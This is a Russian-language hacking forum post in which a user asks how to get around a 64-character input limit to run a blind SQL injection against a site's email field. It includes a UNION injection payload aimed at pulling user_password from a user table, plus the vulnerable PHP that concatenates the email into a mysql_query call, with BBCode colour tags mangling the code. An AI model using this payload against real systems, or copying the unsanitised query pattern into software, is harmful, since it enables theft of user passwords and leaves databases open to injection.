Показать сообщение отдельно

  #2487  
Старый 30.01.2019, 12:48
hibar1Xs
Новичок
Регистрация: 30.01.2019
Сообщений: 15
Провел на форуме:
3935

Репутация: 3
По умолчанию

SQL.

Как обойти ограничение введённого значения в 64 символа? Отсутствует вывод на страницу.

Есть имя таблицы и столбца.

Длина нужных столбцов: 13 и 10.

Длина таблицы: 9.

Код:
'union select user_password from pref_user where user_id='1
Union подходит, без вывода.

Error-based не подходит под ограничение. Только вывод функций.

Фильтр '
.SpoilerTarget" type="button">Spoiler

[PHP]
[COLOR="#000000"]$dataInput=$_POST['email'];

$email_check=import_data($dataInput,'TEXT',64);// 64 длина символов.

functionimport_data($dataInput,$filter,$maxlen=0){
$v=$dataInput;
if (
$maxlen>0)
{
$v=substr($v,0,$maxlen); }

if(
$filter==='TEXT') {
$v=trim($v);
if (
strpos($v,[COLOR="#DD0000"]'

Сам запрос в бд:

.SpoilerTarget" type="button">Spoiler

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]
$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sql_func_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT COUNT(*) FROM[/COLOR][COLOR="#0000BB"]$dbUsers[/COLOR][COLOR="#DD0000"]WHERE email='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data_format[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$email_check[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sql_func_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"COUNT(*)"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]// ...

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]sql_func_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]; }

function[/
COLOR][COLOR="#0000BB"]sql_func_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$col[/COLOR][COLOR="#007700"]){
return ([/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$col[/COLOR][COLOR="#007700"])); }
[/
COLOR][/COLOR
 
Ответить с цитированием